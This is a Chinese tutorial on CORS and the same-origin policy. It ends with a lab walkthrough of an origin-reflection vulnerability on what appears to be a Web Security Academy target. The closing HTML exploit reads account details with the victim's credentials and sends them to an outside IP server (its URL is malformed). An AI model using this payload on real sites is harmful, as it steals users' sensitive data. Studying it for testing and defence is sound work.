什么是CORS
CORS(Cross-Origin Resource Sharing,跨域资源共享)是一种现代Web技术,用于解决浏览器的同源策略限制,允许不同源的Web应用安全地进行跨域HTTP请求。该机制通过允许服务器标示除了它自己以外的其他源,使得其它浏览器允许这些域加载自己的资源。
1
2
3
4
5
6
7
8
9
10
|
如何标识呢:通过Http响应头标识
如:Origin:* //表示所有请求均可
Origin:https://www.bilibili.com //只允许哔哩哔哩的请求
服务端响应头部
Access-Control-Allow-Origin:指定允许访问资源的源(如*表示允许所有源,或指定具体域名)
Access-Control-Allow-Methods:允许的HTTP方法(如GET, POST, PUT)
Access-Control-Allow-Headers:允许的自定义头部(如X-Custom-Header)
Access-Control-Allow-Credentials:是否允许发送Cookie(值为true)
Access-Control-Max-Age:预检请求结果的缓存时间(秒)
|
什么是浏览器同源策略
同源策略是浏览器的一种安全机制,它阻止一个源(origin)的文档或脚本访问另一个源的资源。同源的定义是:
1
2
3
|
协议相同(http/https)
域名相同
端口相同
|
CORS的工作机制
简单请求
1
2
|
直接F12在浏览器控制台上
fetch('https://www.baidu.com')
|
简单请求:只使用了Get/POST/Head的请求,并且请求头只使用:Accept/Content-Type,浏览器会直接发起请求,然后检查服务端的http头,对于正常内容则加载

非简单请求
非简单请求:浏览器会发起一个Option方法来预检服务器是否允许当前域访问请求资源
为什么使用CORS
- 保护服务器,有助于减轻服务器的负载与风险
- 保护隐私,CORS限制了敏感数据的访问
- 安全考虑,防止盗取用户数据或进行CSRF攻击
如何解决CORS问题
1-同源策略(增加反向代理);
2-正确设置 CORS 标头,正确响应 Options 预检请求;
3-使用Jsonp
CORS漏洞案例
如何发现这种漏洞,当返回数据包中存在敏感信息时,如APIKey,账号密码,身份证等信息时就可以进行CORS测试
如果返回头是以下情况,那么是最好利用的,高风险
1
2
3
4
5
6
|
Access-Control-Allow-Origin:https://www.test.com
Access-Control-Allow-Credentials:true
//也可以认为是高危,只是漏洞利用起来麻烦一点
Access-Control-Allow-Origin:null //注意是小写
Access-Control-Allow-Credentials:true
|
低风险常见于配置错误,因为CORS安全机制阻止了这种情况下的漏洞利用
1
2
|
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true
|
不存在漏洞情况
1
2
|
Access-Control-Allow-Origin:Null //小写才存在CORS漏洞,大写表示不存在
Access-Control-Allow-Credentials:true
|

具有基本源反射的 CORS 漏洞
1
2
3
|
在请求包中添加响应头
Origin: https://www.baidu.com
如果返回包正常返回
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
GET /accountDetails HTTP/2
Host: 0a84003e03504173801153c700a900ba.web-security-academy.net
Origin: https://www.test.com
Cookie: session=kL0xYb4ZOonl9QChIoXGQaZZQNpMU2e8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a84003e03504173801153c700a900ba.web-security-academy.net/my-account?id=wiener
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<!-- cors.html -->
<!DOCTYPE html>
<html>
<head>
<title>cors exp</title>
</head>
<body>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
//替换为存在漏洞的地址即可
req.open("GET", "https://0a84003e03504173801153c700a900ba.web-security-academy.net/accountDetails",'true');
req.withCredentials = true;
req.send('{}');
function reqListener(){
alert(this.responseText);
//自己服务器记录日志的地址
location='http://http://47.76.47.203:8232/?key='+this.responseText;
};
</script>
</body>
</html>
|
